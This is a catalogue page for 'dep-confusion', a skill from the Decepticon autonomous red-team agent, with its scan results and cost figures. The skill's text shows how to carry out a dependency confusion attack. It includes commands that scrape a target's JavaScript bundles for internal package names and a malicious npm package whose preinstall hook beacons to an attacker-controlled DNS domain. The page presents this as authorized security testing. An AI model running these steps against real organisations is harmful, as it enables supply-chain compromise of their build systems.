Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill dep-confusiongit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/dep-confusion)<a href="https://agentmods.dev/skills/purpleailab/decepticon/dep-confusion"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/dep-confusion/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/dep-confusion"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/dep-confusion.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 1 finding, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Privilege Escalation · line 138 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00038 | $0.01415 |
| Opus 5 | $0.00019 | $0.00707 |
| Sonnet 5 | $0.00008 | $0.00283 |
| Haiku 4.5 | $0.00004 | $0.00142 |
Grade A, and why
dep-confusion scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s "$TARGET" | grep -oP 'src="[^"]*\.js"' | sort -u | while read js; do Copies of this mod
1 near-identical copy found in the catalogue:
- dep-confusion — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 152 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Dependency Confusion (Alex Birsan 2021)
When an org uses internal private packages (e.g. @target-internal/utils)
AND a build system that searches BOTH public + private registries, an
attacker can publish a public package w/ the same name at higher version.
Default resolvers pick highest version → public package runs in CI.
1. Reconnaissance — find internal package names
| Source | Pattern |
|---|---|
package.json in public repo |
"@target/foo" scoped packages |
package.json exfiltrated from web (/static/) |
dependency lists |
| Webpack bundles | leaked package.json strings |
requirements.txt / Pipfile exposure |
target-internal-lib |
pom.xml / build.gradle |
<groupId>com.target</groupId> |
| Github org code search | @scope patterns in user/org-owned repos (sometimes accidentally public) |
| Stack Overflow / Stack Exchange | engineers asking about internal libs |
| Sourcegraph public index | broad search across exposed orgs |
# Pull all JS bundle URLs from a target
curl -s "$TARGET" | grep -oP 'src="[^"]*\.js"' | sort -u | while read js; do
curl -s "$TARGET$js" | grep -oE '@[a-z0-9_-]+/[a-z0-9_-]+'
done | sort -u
2. Verify the package is private
# Check npm public
npm view @target/internal-utils 2>&1 | grep -E 'E404|not in this registry'
# E404 = name available publicly → confusion candidate
# PyPI
pip index versions target-internal-utils
# "ERROR: No matching distribution" = name available
# Maven Central via search
curl -s "https://search.maven.org/solrsearch/select?q=g:com.target+AND+a:internal-lib" | jq
If the name is taken publicly already, confusion path closed (unless you can take it over — check abandoned packages w/ no maintainer email).
3. Build the malicious package
mkdir attack-pkg && cd attack-pkg
# package.json
cat > package.json <<'EOF'
{
"name": "@target/internal-utils",
"version": "999.0.0",
"description": "auth-research only",
"scripts": {
"preinstall": "node beacon.js"
}
}
EOF
# beacon.js — DO NOT execute payload, just confirm install
cat > beacon.js <<'EOF'
const https = require('https');
const os = require('os');
const dns = require('dns');
// Resolve attacker-controlled subdomain to confirm execution
// Use Burp Collaborator / interactsh / your own DNS server
const subdomain = require('crypto').randomBytes(8).toString('hex');
dns.lookup(`${subdomain}.YOUR_INTERACT_DOMAIN`, () => {});
// Also collect basic env w/o exfil (just locally print for testing)
console.log({
hostname: os.hostname(),
user: os.userInfo().username,
platform: os.platform(),
hostname_dns: dns.getServers(),
});
EOF
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 152 lines · 38 tokens per session scan A 837d3193c5f0
dep-confusion is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,497 stars, last pushed 13d ago), licensed Apache-2.0. It adds 38 tokens to every session and 1,415 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
turborepo
Turborepo monorepo build system guidance. Triggers on: turbo.json, task pipelines, dependsOn, caching, remote cache, the "turbo" CLI, --filter, --affected, CI optimization, environment variables, internal packages, monorepo structure/best practices, and boundaries. Use when user: configures tasks/workflows/pipelines…
deployment-pipeline-design
Design multi-stage CI/CD pipelines with approval gates, security checks, and deployment orchestration. Use when architecting deployment workflows, setting up continuous delivery, or implementing GitOps practices.
interactive-dashboard
Interactive web dashboards: stock trackers, sector heatmaps, portfolio monitors — served via preview URL.
onboarding
First-time user onboarding to set up investment profile, watchlists, portfolio, and preferences.
meta-long-running-build-watchdog
Watches a long-running command via tmux, lets sub-agent diagnose failures and propose a fix, and records the diagnosis to memory. Designed for overnight model fine-tunes, CI image builds, or repeated regression suites that may fail intermittently.
deploying-to-staging-environment
Use when deploying changes to staging across relay, relay-dashboard, and relay-cloud repos - coordinates multi-repo branch syncing using git worktrees, automatically triggers staging deployments via GitHub Actions.